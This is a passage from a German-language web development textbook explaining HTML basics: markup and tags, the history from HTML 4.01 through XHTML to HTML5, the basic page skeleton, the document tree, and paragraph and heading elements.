            Nachdem der fehlerhafte Code korrigiert wurde, stimmt das Code-Highlighting wieder.

        
        Abschließend sei gesagt, dass in den gängigen Editoren zumeist Validatoren als Plugins (Erweiterungen) zur Verfügung stehen.

    


                    
                        5    HTML – Die Grundlage einer Website
Die Darstellung des Inhalts einer Webseite: Das ist der Verantwortungsbereich von HTML. Wir beginnen mit dieser Grundlage. Ohne Formatierungen und Interaktion, aber sehr wohl mit Struktur.
Eine der wesentlichsten Erkenntnisse im Zusammenhang mit HTML ist diejenige, für wen HTML-Code geschrieben wird. Üblicherweise tendiert man zunächst einmal sofort zu der Aussage, dass HTML – da es ja die Basis einer jeden Website darstellt – selbstverständlich für den Betrachter einer Website geschrieben wird, da ein solcher ja derjenige ist, der die Website mithilfe seines Browsers besucht. Dies ist jedoch nur die halbe Wahrheit, da der eigentliche »User« (oder auch: Besucher) mehr als nur »ein gewöhnlicher Mensch« sein kann. Aus diesem Grund unterscheidet man mehrere Arten von Besuchern:

        	
            menschliche Besucher einer Website ohne Einschränkung der Sehfähigkeit nehmen den HTML-Code in Form formatierter Darstellung wahr, wobei die Formatierung selbst (also das eigentliche Design der Website) nicht mittels HTML, sondern – wie erwähnt – mittels einer Formatierungstechnologie namens CSS vorgenommen wird.

        

        	
            menschliche Besucher einer Website mit Einschränkungen der Sehfähigkeit (blinde Personen oder solche mit zumindest starker Einschränkung) bedienen sich in der Regel eines sogenannten Screenreaders. Dies ist eine Software, die den HTML-Code entsprechend interpretiert und die Inhalte der Website in Form von synthetischer Sprachausgabe vorliest. Da hier keine Rücksicht auf die Formatierung genommen werden kann, muss der HTML-Code korrekt aufgebaut sein, um auch korrekt interpretiert werden zu können. Auch müssen Bildinhalte auf eine andere Art und Weise als nur optisch darstellt werden.

        

        	
            künstliche Besucher einer Website, wie etwa Suchmaschinen, sind ausschließlich am HTML-Code und somit am Inhalt einer Website interessiert, da der zugehörige Formatierungsteil gar nicht oder nur sehr schwer interpretiert werden kann.

        

    
Üblicherweise stellt die letzte Gruppe an Besuchern einer Website diejenige Gruppe dar, an der wir – zumindest in diesem Kapitel zum Thema HTML – besonders interessiert sind. Diese Ansicht wird sich zugunsten der ersten Gruppe ändern, sobald wir uns dem (gestalterischen) Thema CSS widmen werden.
HTML an sich ist die Abkürzung für den Begriff Hypertext Markup Language:

        	
            Mit Hypertext ist gemeint, dass die Möglichkeit der Verknüpfung (»Verlinkung«) von Inhalten (Dokumenten) besteht.

        

        	
            Unter einer Markup Language (Auszeichnungssprache) versteht man eine Sprache, die einen speziellen strukturellen Aufbau besitzt, indem Inhalte mehr oder weniger »gekennzeichnet« werden.

        

    

        [»]  Die Korrektheit von Code

        Normalerweise würde man davon ausgehen, dass ein Webentwickler korrekten HTML-Code schreibt. Jedoch spricht man bei einem Browser von einem (vereinfacht) fehlerverzeihenden System, weshalb Sie bei der Webentwicklung sehr wohl Fehler im HTML-Code machen können, die vom Browser »korrigiert« werden und deshalb optisch nicht auffallen.

    
Eine Auszeichnungssprache

        	
            verwendet sogenannte Tags zur Kennzeichnung von Inhalten/Strukturen: Ein Tag kennzeichnet den Beginn und das Ende eines HTML-Elements mithilfe spitzer Klammern. Beispielsweise kennzeichnet <p> den Beginn eines Absatzes (Paragraph) und </p> kennzeichnet dessen Ende. So ist alles, was zwischen <p> und </p> steht, der Inhalt eines Textabsatzes. Tags werden auch Elemente genannt.

            Die allgemeine Schreibweise eines Tags ist somit:

            <TAGNAME> und </TAGNAME>

        

        	
            verwendet gegebenenfalls auch Attribute innerhalb von Tags zur spezielleren Kennzeichnung des Tags selbst. Ein Beispiel: <img src="bilder/urlaub.jpg">. Hierdurch wird das Tag <img> für die Erstellung eines Bildes auf der Website verwendet, und diesem speziellen Bild wird eine Datei namens urlaub.jpg aus dem Ordner bilder/ hinterlegt. Wir werden auf dieses Beispiel in weiterer Folge noch genauer eingehen – aktuell ist es auch ohne weiteres Verständnis einmal ausreichend.

            <TAGNAME Attribut="Wert" Attribut="Wert" ...> und </TAGNAME>

        

    

        [Info]  Auszeichnungs- vs. Programmiersprache

        Man spricht im Zusammenhang mit HTML (oder anderen Auszeichnungssprachen) nicht von einer Programmiersprache. Programmiersprachen weisen besondere Möglichkeiten auf (wie etwa Variablen, Bedingungen, Schleifen etc. – siehe Kapitel 7), die in Auszeichnungssprachen nicht gegeben sind. Mit anderen Worten, es ist in Auszeichnungssprachen nicht möglich, »logische Schlüsse« zu ziehen, sondern lediglich Inhalte zu kennzeichnen.

    
Jeder HTML-Code wird in einer (Text-)Datei abgespeichert, deren Endung (Suffix, Datei-Endung) .html lautet. Zum Schreiben des HTML-Codes eignet sich grundsätzlich ein jedes Textverarbeitungsprogramm (jedoch bitte nicht Textverarbeitungsprogramme wie MS Word o. Ä., da diese zusätzlichen (unsichtbaren) Code in das Dokument mit aufnehmen). Zu empfehlen sind jedoch HTML-Editoren. Solche gibt es ja zum Teil kostenfrei im Internet (z. B. Notepad++) als Download, wie wir wissen. Alternativ können Sie den Texteditor Ihres Betriebssystems (Notepad im Falle von MS Windows oder TextEdit im Falle von macOS usw.) verwenden. Der große Vorteil von HTML-Editoren liegt vor allem im Code-Highlighting, wodurch korrekt erkannter Code farblich hervorgehoben wird.
Weitere Konventionen für die Benennung von Dateien für Webdokumente sind:

        	
            (Idealerweise) werden für den Dateinamen ausschließlich Kleinbuchstaben verwendet.

        

        	
            Es sollten (dürfen) keine Leer- und Sonderzeichen sowie keine Umlaute im Dateinamen verwendet werden.

        

        	
            Die Verwendung von Ziffern ist erlaubt.

        

    
Einige Beispiele für Dateinamen wären demnach:

        	
            hallowelt.html → okay

        

        	
            halloWelt.html → okay, aber nicht gern gesehen (Großbuchstabe)

        

        	
            hallo Welt.html → nicht okay (Leerzeichen)

        

        	
            hallo_welt.html → okay

        

    

        5.1    Ein bisschen in der Geschichte von HTML stöbern

        HTML liegt mit heutigem Stand – und das bereits seit einigen Jahren – in der fünften (Major-)Version vor, wobei die aktuelle Version die Kennzeichnung 5.3 trägt und seit Anfang 2021 existiert (siehe https://html.spec.whatwg.org/multipage/).

        Ursprünglich wurde HTML im November 1992 (noch ohne Versionsnummer) erstmals veröffentlicht und bis zum Jahr 1999 in der Entwicklung fortgeführt (HTML 4.01). Aufgrund des doch recht überschaubaren Sprachschatzes von HTML, aber vor allem aufgrund der Tatsache, dass HTML 4 ein recht »lasches« Error-Handling (Fehlerbehandlung) besitzt, entschied sich das W3-Konsortium, HTML durch XHTML zu ersetzen. XHTML baut auf dem XML-Standard auf, der einerseits erweiterbar ist (das vorangestellte »X« steht für extensible und bedeutet eben erweiterbar), aber andererseits ein restriktiveres Error-Handling ermöglicht.

        Warum überhaupt wollte man ein strengeres Error-Handling? Nun, weil es ein solches in HTML nicht gab, schlichen sich mehr und mehr Fehler in den HTML-Code ein, der von Webdesigner*innen produziert wurde. Die damaligen Webdesigner*innen waren in den wenigsten Fällen ausgebildete Informatiker, sondern vielmehr Autodidakten oder Grafikerinnen, die ihre Profession erweitern wollten. Ihre einzige »Kontrolle« über den geschriebenen Code war das Ergebnis im Browser. Sollte dieser jedoch falschen Code korrekt anzeigen (weil er das durfte und auch tat), so geschieht das Menschlichste auf der Welt: Man ist der Ansicht, das Ergebnis sei fehlerfrei.

        In der Zeit um 1997 war man im W3-Konsortium der Ansicht, dass ca. 99 % aller Websites fehlerbehaftet waren. Dennoch gab es im W3-Konsortium zwei Lager mit unterschiedlichen Ansichten: diejenigen, die das strengere Error-Handling befürworteten (die Draconians), und diejenigen, die die Entscheidung, wie mit einem Fehler umzugehen sei, nach wie vor dem Browser überlassen wollten. Die Draconians gewannen in einer Abstimmung mit 7:4, weshalb man entschied, sämtliche Well-formed Errors zu Fatal Errors hochzustufen, was schlussendlich zum Begriff drakonisches Error-Handling führte, bei dem das erste Vorkommen eines Fehlers sofort zum Abbruch führen muss.

        Da HTML wie auch XML von einem gemeinsamen übergeordneten Standard namens SGML (Standard Generalized Markup Language) abstammen und XHTML wiederum auf XML aufbaut (siehe Abbildung 5.1), war der Wechsel von HTML zu XHTML im ersten Moment sehr naheliegend, wenn das Ziel verfolgt werden sollte, HTML (durch die Webentwickler und -entwicklerinnen nach den Bedürfnissen im jeweiligen Projekt) erweiterbar zu machen.

        
            [image: HTML (bis 4.01) und XML stammen beide von SGML ab.]

            Abbildung 5.1    
            HTML (bis 4.01) und XML stammen beide von SGML ab.

        
        Hierzu wurden zunächst sämtliche HTML-Tags aus der Version 4.01 in XHTML 1.0 übernommen, und weiters wurde – durch die Abstammung von XML – die Möglichkeit geschaffen, eigene Tags zu definieren. Die Einführung des drakonischen Error-Handlings wäre aus Sicht des W3-Konsortiums nun ebenso möglich, da die 1997 veröffentlichte Auszeichnungssprache XML dies ermöglicht bzw. fordert, indem sie – entgegen HTML – auf den MIME Type application/xml setzt. Lässt man XHTML von XML abstammen, so muss XHTML diesen MIME-Typ übernehmen, was schlussendlich, nämlich mit der Einführung von XHTML 1.1, auch der Fall war (application/xhtml+xml).

        Wie Sie bereits in Abschnitt 3.5 über MIME-Types erfahren haben, unterscheiden sich die beiden MIME-Typen in folgendem Punkt erheblich:

        
            	
                Inhalte vom (Haupt-)Typ text dürfen Fehler aufweisen, und das darstellende System (in unserem Fall der Browser) darf diese Fehler ignorieren bzw. verbessern.

            

            	
                Inhalte vom (Haupt-)Typ application dürfen keinerlei Fehler aufweisen – sollte im Inhalt ein Fehler sein, so darf das darstellende System (Browser) dieses Dokument nicht anzeigen.

            

        

        Mit anderen Worten, ein XML-Dokument (und damit auch ein XHTML-Dokument) muss fehlerfrei sein. Dies ließ sich jedoch mit der damaligen Kultur des Webdesigns nicht vereinbaren, musste man doch wie gesagt in Betracht ziehen, dass nicht wenige Webentwickler*innen entweder Autodidakten waren oder aus dem Bereich der grafischen Berufe kamen und dass dementsprechend beide Gruppen in der Regel über keine Informatik-Ausbildung verfügten. Man könnte auch sagen, dass es für Webdesigner*innen fast schon »normal« war, den einen oder anderen Fehler in einen HTML-Code zu schreiben, ohne dass dieser eine Konsequenz nach sich zog: »Der Browser wird es schon richten.«

        Aufgrund dieser Tatsache schuf das W3C zunächst eine Übergangsversion mit XHTML 1.0, in der noch der Content-Typ text/html erlaubt war. Mit Einzug von XHTML 1.1 war dies jedoch Geschichte, denn ab diesem Zeitpunkt (2001) war nur noch der Content-Typ application/xhtml+xml erlaubt. Dieser nicht fehlerverzeihende Content-Typ war der Grund, dass die Mehrzahl aller Webdesigner*innen ihre Webprojekte nach wie vor in HTML 4.01 bzw. in XHTML 1.0 entwickelten und nur sehr wenige den Sprung zu XHTML 1.1 wagten. Dabei muss man ehrlicherweise anmerken, dass das Ziel der Fehlerfreiheit von HTML-Dokumenten zwar sehr wohl wünschenswert ist und auch das Ziel bei jedem Webprojekt sein sollte, dass dieser Wunsch in der Praxis jedoch aus den obig genannten Gründen nicht erfüllbar scheint.

        Gleichzeitig mit der geplanten Weiterentwicklung von XHTML wuchs jedoch auch innerhalb des W3C der Unmut über XHTML, was schlussendlich darin resultierte, dass eine Gruppe von Entwicklern das W3C verließ (verlassen musste). Diese Personen gründeten im Jahr 2004 eine eigene Gruppe zur Weiterentwicklung von HTML: die »Web Hypertext Application Technology Working Group« (WHATWG). Diese Gruppe setzte sich zum Ziel, einen lebenden Standard zu entwickeln, der einerseits zukunftssicher ist und andererseits auch den Webdesigner*innen gewisse Freiheiten einräumt:

        »The Web Hypertext Applications Technology Working Group is a loose, unofficial, and open collaboration of Web browser manufacturers and interested parties. The group aims to develop specifications based on HTML and related technologies to ease the deployment of interoperable Web Applications, with the intention of submitting the results to a standards organisation. This submission would then form the basis of work on formally extending HTML in the standards track.« (https://www.oreilly.com/library/view/html5-up-and/97814 49392154/ch01s08.html)


        Unter den IT-Unternehmen gab es für die WHATWG großen Zuspruch und auch Unterstützung: Mozilla, Opera, Apple etc. war der Fehler des W3C in Hinblick auf die (Weiter-)Entwicklung von XHTML durchaus bewusst, weshalb sie die Initiative der WHATWG unterstützen.

        Erst im Jahr 2006 entschied der CEO des W3C, Tim Berners-Lee, dass die Weiterentwicklung von XHTML auf Version 2.0 beendet wird und ab nun gemeinsam mit der WHATWG an einem neuen Standard (HTML5) gearbeitet werden solle. In diesem Zusammenhang wurden sieben Grundsätze für die Entwicklung eines zukunftsweisenden Standards definiert. Der Zielgedanke war, einen Standard zu erschaffen, der zukunftssicher und zukunftsweisend ist und trotzdem den bestehenden HTML-Standard (4.01) übernimmt (man spricht auch von Abwärtskompatibilität). Im Vordergrund des neuen Standards steht vor allem der praktische Nutzen: Funktionalitäten, die den Usern einen Mehrwert bieten, sollen mit aufgenommen werden, genauso wie HTML nach wie vor plattformunabhängig bleiben soll. Schlussendlich beschloss man, dass dieser Prozess ein laufender Prozess sein soll, in dem HTML5 ständig weiterentwickelt und verbessert wird.

        Aus dieser Sichtweise wurde HTML5 entwickelt, das nun eine Mischung der Vorteile von einerseits SGML und andererseits XML ist und demnach nicht mehr auf SGML aufbaut, wie es HTML vor der Version 5 tat.

        Weitere Meilensteine in der Geschichte von HTML waren:

        
            	
                September 2011: 34 % der Top-100-Websites verwenden HTML5.

            

            	
                September 2011: Die Zeitung The Boston Globe baut ihre Site responsiv auf.

            

            	
                November 11/2011: Die Weiterentwicklung der Software Flash für mobile Geräte wird gestoppt.

            

            	
                Januar 2013: Eine Milliarde HTML5-kompatible Smartphones werden weltweit verkauft.

            

            	
                Mai 2017: Mehr als 50 % aller Websites werden im Schnitt über mobile Endgeräte aufgerufen.

            

        

        Insbesondere der letzte Punkt ist jedoch etwas differenziert zu sehen: Einerseits könnten Sie daraus schließen, dass Sie sich nunmehr bevorzugt auf die Entwicklung von Websites konzentrieren sollten, die den Fokus auf mobile Endgeräte legen. Andererseits jedoch sollten Sie bei der Entwicklung einer Website den wichtigsten Aspekt niemals außer Acht lassen: den User. Bevor Sie sich also auf die Entwicklung einer Website stürzen, sollten Sie (sehr gut und sehr genau) wissen, was der User von der Website erwartet. An dieser Stelle könnte das Ergebnis jedoch auch lauten, dass der User bei dieser Website lieber vor einem großen Monitor und demnach vor einem Desktop-Rechner oder einem Notebook sitzt, um mit und auf der Website zu arbeiten. »Kenne Deine User!« wird in weiterer Folge zum Lieblingsslogan dieses Werkes werden.

    


                    
                        
        5.2    Das Grundgerüst einer HTML-Seite

        Jedes HTML-Dokument (jede Webseite) weist zunächst einen einheitlichen Grundaufbau auf, den wir Grundgerüst nennen. Dieses Grundgerüst kümmert sich nicht um den Inhalt, der in einem Browser dargestellt werden soll, sondern zunächst einmal nur darum, dass ein Browser erkennen kann, dass es sich um ein (gültiges) HTML-Dokument handelt. Dazu ist ein gewisser Aufbau des Dokumentes erforderlich:

        <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Mein erstes HTML-Dokument</title>
        <meta charset="utf-8">
    </head>
    <body>
 
    </body>
</html>


        Werfen wir einen ersten, entspannten Blick auf den Code und analysieren wir diesen Tag für Tag. Wie Sie leicht erkennen können, umspannen manche Tags wiederum andere Tags. Wir nennen diese Vorgehensweise Verschachtelung. Sie soll kennzeichnen, dass manche Tags Teile anderer Tags sind. Wie Sie gleich sehen werden, umspannt das Tag <html> sämtliche weiteren Tags, was man daran erkennt, dass zwischen dem öffnenden Teil des Tags (<html>) und dem schließenden Teil des Tags (</html>) alle weiteren Tags des Grundgerüsts enthalten sind. Um dies im Code auch visuell darzustellen, verwenden wir die bereits in den einführenden Kapiteln angesprochene Einrückung: Entweder Sie verwenden einen Tabulatorschritt oder zwei Leerzeichen – beide Varianten sind gleichermaßen verbreitet. Ich werde im weiteren Verlauf den Tabulatorschritt verwenden.

        Aber nun noch einmal alles der Reihe nach:

        
            	
                <!DOCTYPE html>: Diese Kennzeichnung stellt die sogenannte Dokumenttyp-Deklaration dar; sie legt fest, um welche Art von Markup Language es sich handelt. Es existieren viele weitere auszeichnungssprachenbasierte Formate wie etwa XML, SGML, XHMTL, PDF, SMIL oder SVG. In unserem Fall handelt es sich um HTML (und zwar konkret um die Hauptversion 5 (Major Version 5)). Die Schreibweise ist case-insensitive (Groß-/Kleinschreibung spielt keine Rolle). Zum Vergleich sehen die Dokumenttyp-Deklarationen von HTML 4.01 bzw. XHTML beinahe schon abschreckend aus:

                
                    	
                        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

                    

                    	
                        <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

                    

                

            

            	
                <html> bis </html>: Dies ist das sogenannte Root-Element (Wurzelelement). Es beinhaltet alle weiteren HTML-Tags; das Attribut lang spezifiziert die im Inhaltsbereich hauptsächlich verwendete Sprache (hier: de → Deutsch). Dies soll nicht bedeuten, dass keine anderen Sprachen (wie Englisch, Spanisch etc.) im Inhalt vorkommen dürfen. Es wird lediglich festgelegt, welche die vorrangig verwendete Sprache ist.

            

            	
                <head> bis </head>: Der Head-Bereich stellt den »vorbereitenden« Teil der Website dar, also all jene Elemente, die keinen Inhalt erzeugen, aber für die Darstellung der Website notwendig sind. Beispiele hierfür sind der Titel der Website (<title>), das Festlegen des Zeichensatzes (charset), das Hinzuladen von Formatierungsdokumenten (wie etwa CSS-Dateien), das Festlegen von Such- oder Schlagworten für dieses Dokument usw.

            

            	
                <title>: Dieses Element stellt den Titel unseres HTML-Dokuments dar, wobei dieser im Tab eines Browsers dargestellt wird. Es soll im Wesentlichen den Titel des aktuell dargestellten Inhalts dieses Dokuments zeigen, also beispielsweise »Kontakt« als Titel für ein Kontakt- und Anfrageformular.

            

            	
                <meta charset="utf-8">: Dies kennzeichnet den verwendeten Zeichensatz (hier: UTF-8) und soll verdeutlichen, welche Zeichen (Buchstaben, Ziffern, Sonderzeichen etc.) auf der Website dargestellt werden können. UTF-8 ist ein internationaler Zeichensatz, der alle wesentlichen Zeichen unterschiedlicher Sprachen beinhaltet (auch asiatische Schriftzeichen usw.). Die Angabe eines Zeichensatzes ist nicht verpflichtend, wird jedoch empfohlen.

            

        

        
            [»]  Void Elements vs. Self-closing Tags

            Void Elements sind Tags, die keinen Inhalt besitzen dürfen und deshalb auch nicht geschlossen werden (können). Ein Beispiel hierfür ist <meta>: Es kann nicht geschlossen werden, weshalb auch kein </meta> im Code zu finden ist.

            In einem älteren Standard von HTML – XHTML – waren Self-closing Tags möglich: Hier wäre aus <meta charset="utf-8"> dann <meta charset="utf-8" /> geworden (beachten Sie den abschließenden Schrägstrich). In HTML5 ist dies nicht möglich.

        

        
            [»]  Zeichensatz

            Grundsätzlich ist die Angabe eines Zeichensatzes nicht zwingend erforderlich, weshalb die Angabe <meta charset="utf-8"> nicht zum absolut notwendigen Grundgerüst eines HTML-Dokuments zählt. Dennoch macht es wenig Sinn, dieses Tag auszulassen, da ansonsten der Browser zunächst auf das vom Server bereitgestellte Dokument achten würde (und dort auf den Zeichensatz, der im HTTP-Header vermerkt ist, auf den wir im PHP-Kapitel noch genauer eingehen werden), sofern ein solcher Zeichensatz definiert ist. Ist das nicht der Fall, so greift der Browser im schlimmsten Fall auf den Standardzeichensatz zurück, in welchem sich der Großteil der (sprachenabhängigen) Sonderzeichen nicht befinden würden. Davon wären etwa auch die deutschen Umlaute ä, ö, ü betroffen.

        

        
            	
                <body> bis </body>: Dieser Teil beinhaltet in weiterer Folge all das, was der User auf der Website in diesem Dokument zu sehen bekommt, also beispielsweise alle Texte, Bilder, Tabellen, Listen, Links usw.

            

        

        Auffällig am oben stehenden Code ist, dass der Code wie angemerkt mit Einrückungen von der linken Seite (Tabulatorschritte) und Zeilenumbrüchen arbeitet. Dies wäre nicht zwingend erforderlich – auch Schreibweisen wie die folgende sind erlaubt und gültig; sie sind jedoch nicht allzu übersichtlich und werden deshalb nicht empfohlen:

        Variante 1 – wenig übersichtlich, aber vertretbar:

        <!DOCTYPE html>
<html lang="de">
<head>
<title>Mein erstes HTML-Dokument</title>
<meta charset="utf-8">
</head>
<body>
 
</body>
</html>


        Variante 2 – nicht allzu sinnvoll:

        <!DOCTYPE html><html lang="de"><head><title>Mein erstes HTML-Dokument
</title><meta charset="utf-8"></head><body></body></html>


        Grundsätzlich ist es erlaubt, beliebig viele Zeilenumbrüche und Einrückungen zu verwenden. Die Empfehlung lautet:

        
            	
                Verwenden Sie immer dann eine Einrückung von einem Tabulatorschritt, wenn ein Tag in ein anderes Tag verschachtelt wird (<TAG1> wird in diesem Zusammenhang auch als das Elternelement von <TAG2> bezeichnet):

                <TAG1>
    <TAG2>…</TAG2>
</TAG1>


            

            	
                Brechen Sie nach der Verwendung eines Tags in eine neue Zeile um (es sei denn, es handelt sich um sogenannte Inline-Elemente, die Sie im weiteren Verlauf noch kennenlernen werden).

            

        

    


                    
                        
        5.3    Der Dokumentbaum

        Bereits in Abschnitt 4.3, »Der Browser als Interpreter und Testumgebung«, haben wir darüber gesprochen, dass der Browser ein Interpreter ist, der den vom Server gelieferten Code interpretiert. Was jedoch als Ergebnis dieser Interpretation herauskommt, sollten wir uns im Detail noch ansehen. Bis dato sind wir davon ausgegangen, dass der Browser (Interpreter) den eingehenden Code empfängt, verarbeitet und umsetzt. In Wahrheit erfolgt jedoch ein sehr wesentlicher Zwischenschritt: das Erzeugen des Dokumentbaums. Wesentlich dabei ist, dass der Code, der vom Server geliefert wird, vom Browser verarbeitet und in etwas Neues umgewandelt wird, mit dem der Browser nun weiterarbeitet: eben in den Dokumentbaum. Dieses Detail wird dann spannend, wenn wir erkennen werden, dass der Code, den wir bei der Webentwicklung schreiben, gar nicht notwendigerweise derselbe Code ist, den der Browser für die Darstellung der Seite verwendet. Dazu folgt mehr in Kürze.

        Werfen wir zuvor noch einmal einen Blick auf das HTML-Grundgerüst wie im folgenden Code:

        <!DOCTYPE html>
<html lang="de">
    <head>
        <title>Mein erstes HTML-Dokument</title>
        <meta charset="utf-8">
    </head>
    <body>

    </body>
</html>


        Durch die Einrückungen im Code ist gut zu erkennen, dass manche HTML-Tags andere HTML-Tags beinhalten, andere wiederum stehen »auf derselben Ebene«:

        
            	
                <html> beinhaltet <head> und <body>.

            

            	
                <head> beinhaltet <title> und <meta>.

            

        

        Mit anderen Worten könnte man auch Folgendes sagen:

        
            	
                <html> ist das Elternteil von <head> und <body>.

            

            	
                <head> und <body> sind Geschwister, wobei <head> das erste Kind von <html> und <body> das zweite (und somit letzte) Kind von <html> ist.

            

            	
                <head> ist das Elternteil von <title> und <meta>, wodurch <title> (erstes Kind von <head>) und <meta> (zweites/letztes Kind von <head>) wiederum Geschwister sind.

            

        

        Wir haben es also mit einer »Eltern-Kinder-Geschwister-Beziehung« zu tun. Derartige Konstrukte (ein feines Wort für einen Familienstammbaum, meinen Sie nicht?) zeichnet man gerne in Form eines (Stamm-)Baumes auf wie in Abbildung 5.2.

        
            [image: Der DokumentbaumDokumentbaum stellt die »Familienverhältnisse« unserer HTML-Elemente dar. Pro Kind (HTML-Element) existiert jedoch nur ein Elternteil.]

            Abbildung 5.2    
            Der Dokumentbaum stellt die »Familienverhältnisse« unserer HTML-Elemente dar. Pro Kind (HTML-Element) existiert jedoch nur ein Elternteil.

        
        Vielleicht fehlen Ihnen in diesem Diagramm noch ein paar Details? Weder die Attribute (samt deren Werte) noch die Inhalte der Elemente sind eingezeichnet. Was wir im obigen Diagramm vorfinden, sind ausschließlich sogenannte Element-Knoten. HTML-Tags werden als Elemente bezeichnet, weshalb wir in einer solchen Diagramm-Darstellung »Element-Knoten« dazu sagen. (Die Rechtecke in einem solchen Baum werden generell als Knoten bezeichnet.) Der Grund, warum man die Attribut- und die Textknoten nicht dazuzeichnet, besteht darin, dass ein solcher (Dokument-) Baum im Wesentlichen nur eine hierarchische Darstellung des Aufbaus eines HTML-Codes sein soll – und den Aufbau bestimmen nun mal die Tags.

        Wenn uns wirklich daran liegt, auch die Attribut- und Textknoten einzuzeichnen, so würde sich das Diagramm wie in Abbildung 5.3 erweitern.

        Fassen wir kurz zusammen, welche Knotenarten es gibt:

        
            	
                Elementknoten: Hierunter versteht man einfach gesprochen die Tags. Sie benötigen keinen weiteren Knoten, um »existieren zu können«.

            

            	
                Attributknoten: Dies sind all die Attribute, die man einem HTML-Tag zugewiesen hat (z. B. besitzt <meta charset="utf-8"> ein Attribut namens charset). Attributknoten (Attribute) benötigen immer ein HTML-Tag; ohne HTML-Tag können sie nicht existieren.

            

            	
                Textknoten: Sie stellen die (textuellen) Inhalte von HTML-Tags dar (sowie weiters auch Whitespaces wie Zeilenumbrüche etc.). Dementsprechend kann es – von den Whitespaces einmal abgesehen – nur dort Textknoten geben, wo HTML-Tags vorhanden sind.

            

        

        
            [image: Der um Attributknoten (grün) und Textknoten (blau) erweiterte Dokumentbaum]

            Abbildung 5.3    
            Der um Attributknoten (grün) und Textknoten (blau) erweiterte Dokumentbaum

        
        Der Grund, warum – für uns! – der Dokumentbaum so wichtig ist, ist die Tatsache, dass der Browser den HTML-Code, den er vom Server erhält, ja noch manipulieren darf (beispielsweise, um darin befindliche Fehler auszubessern). Sämtliche weiteren Technologien, sämtliche weiteren Schritte in der Verarbeitung von HTML bauen somit nicht auf dem ursprünglichen HTML-Code, sondern auf diesem Dokumentbaum auf! Das gilt somit gleichermaßen für CSS als auch für JavaScript und alle noch folgenden Technologien. Dieses Verständnis ist essenziell für unser weiteres Vorhaben.

        
            [»]  Auszeichnungssprachen und der Dokumentbaum

            Die Idee des Dokumentbaumes ist nicht auf HTML beschränkt, sondern kann auf sämtliche Auszeichnungssprachen wie XML, SMIL etc. angewendet werden. Dies gilt im Übrigen auch für das Dokumentobjektmodell (DOM), mit dem wir uns in Kapitel 7 über JavaScript auseinandersetzen werden.

        

    


                    
                        
        5.4    Die Elemente einer HTML-Seite

        Halten wir noch einmal fest, was wir einleitend erfahren haben: HTML ist diejenige (Auszeichnungs-)Sprache, die sich um den Inhalt und die Struktur einer Website kümmert und beide so exakt wie möglich zu beschreiben versucht. Aus diesem Grund widmen wir unsere ersten Gehversuche der Inhaltsdarstellung, wie man sie vielleicht auch von Textverarbeitungsprogrammen her kennt: Texte, Listen, Tabellen, Bilder usw.

        
            [Info]  Semantik

            Ich werde im weiteren Verlauf sehr oft von Semantik (auch: Bedeutungslehre) sprechen. Hierunter verstehen wir die Bedeutung von einerseits HTML-Elementen und andererseits auch deren Inhalt (wie etwa Texte, Wörter, Sätze).

        

        
            5.4.1    Textueller Inhalt

            Ein meist wesentlicher Baustein von HTML-Seiten ist Text. Typischerweise sprechen wir von sogenanntem Fließtext: In HTML (wie auch in den meisten Textverarbeitungsprogrammen) wird ein solcher als Absatz (engl. Paragraph) erzeugt. Ein Absatz ist das, was Sie erzeugen, wenn Sie in einem Textverarbeitungsprogramm Text eingeben und irgendwann die (¢)-Taste drücken. Alles bis zum Drücken der (¢)-Taste ist ein Absatz. In HTML wird dieser Absatz mit <p> bis </p> gekennzeichnet.

            Beispiele hierfür sind etwa:

            <p>Hallo Welt!</p> – Ein Paragraph-Tag-Paar stellt einen Absatz dar.

            <p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p> – Wie viele Zeilen der Text umfasst, spielt keine Rolle.

            Möchten Sie innerhalb eines bestehenden Absatzes einen bedingten Zeilenumbruch nutzen, so verwenden Sie das <br>. Genau an der Stelle im Text, wo <br> eingefügt wird, wird der Text in die nächste Zeile umbrochen; der Absatz wird jedoch nicht beendet.

            Erlaubt ist:

            
                	
                    <p>Hallo<br>Welt!</p>
»Hallo« steht in der ersten Zeile des Absatzes, »Welt!« in der zweiten Zeile.

                

                	
                    <p>Hallo</p><br><p>Welt!</p>
Diese Vorgehensweise ist semantisch nicht korrekt, da hier das <br> nicht in einem Textbereich verwendet wird.

                

            

            Der bedingte Zeilenumbruch <br> ist selbstverständlich überall dort erlaubt, wo ein Text umbrochen werden soll. Ein solcher Text kann jedoch auch eine Überschrift oder ein Text innerhalb eines anderen Elements sein.

            
                [Info]  Whitespaces und Zeilenumbrüche im Code

                Sie können im HTML-Code (im Rahmen eines Absatzes, einer Überschrift etc.) so viele Leerzeichen verwenden, wie Sie wollen – angezeigt wird jedoch immer nur ein Leerzeichen. Zeilenumbrüche im HTML-Code (z. B. zwischen Tags) sind jederzeit erlaubt und werden im Browser nicht dargestellt.

            

        
        
            5.4.2    Überschriften

            HTML unterscheidet sechs verschiedene Stufen von Überschriften, wobei diese gemeinsam eine Hierarchie bilden: Eine Hauptüberschrift kann von einer ersten Unterüberschrift gefolgt werden; eine Unterüberschrift ohne Hauptüberschrift ist jedoch semantisch nicht möglich.

            Stellen Sie sich Überschriften wie Kapitel in einem Buch vor, die durchnummeriert sind (wobei in HTML keine Nummerierung der Überschriften erfolgt). Dabei wäre die Verwendung von <h1> für alle Hauptkapitel (1., 2., 3. etc.), <h2> für alle Unterkapitel eines Hauptkapitels (1.1., 1.2., 2.1., 2.2., 2.3. etc.) usw. gedacht.

            
                	
                    <h1>: erste Ebene

                

                	
                    <h2>: zweite Ebene

                

                	
                    <h3>: dritte Ebene

                

                	
                    …

                

                	
                    <h6>: sechste Ebene

                

            

